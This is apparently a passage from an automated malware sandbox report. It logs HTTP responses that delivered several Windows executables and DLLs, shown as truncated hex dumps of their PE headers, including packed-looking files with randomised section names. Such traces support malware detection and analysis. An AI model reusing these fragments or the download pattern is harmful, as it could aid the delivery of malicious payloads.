40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 4f 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 4e 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 73 66 71 71 79 67 79 00 20 1a 00 00 30 32 00 00 20 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 65 66 6e 66 64 78 6e 00 10 00 00 00 50 4c 00 00 04 00 00 00 14 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 18 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:09:10 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Wed, 23 Oct 2024 22:45:40 GMTConnection: keep-aliveETag: "67197c94-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 68 00 00 04 00 00 e1 5d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 69 73 64 63 61 74 61 00 40 19 00 00 f0 4e 00 00 3a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 7a 75 78 76 6b 70 00 10 00 00 00 30 68 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 68 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:09:13 GMTContent-Type: application/octet-streamContent-Length: 2777088Last-Modified: Wed, 23 Oct 2024 21:59:29 GMTConnection: keep-aliveETag: "671971c1-2a6000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 4a 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 6b 73 76 6b 6d 7a 79 00 00 2a 00 00 a0 00 00 00 00 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 67 69 73 6c 6e 65 00 20 00 00 00 a0 2a 00 00 04 00 00 00 3a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:27 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:28 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:29 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:30 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 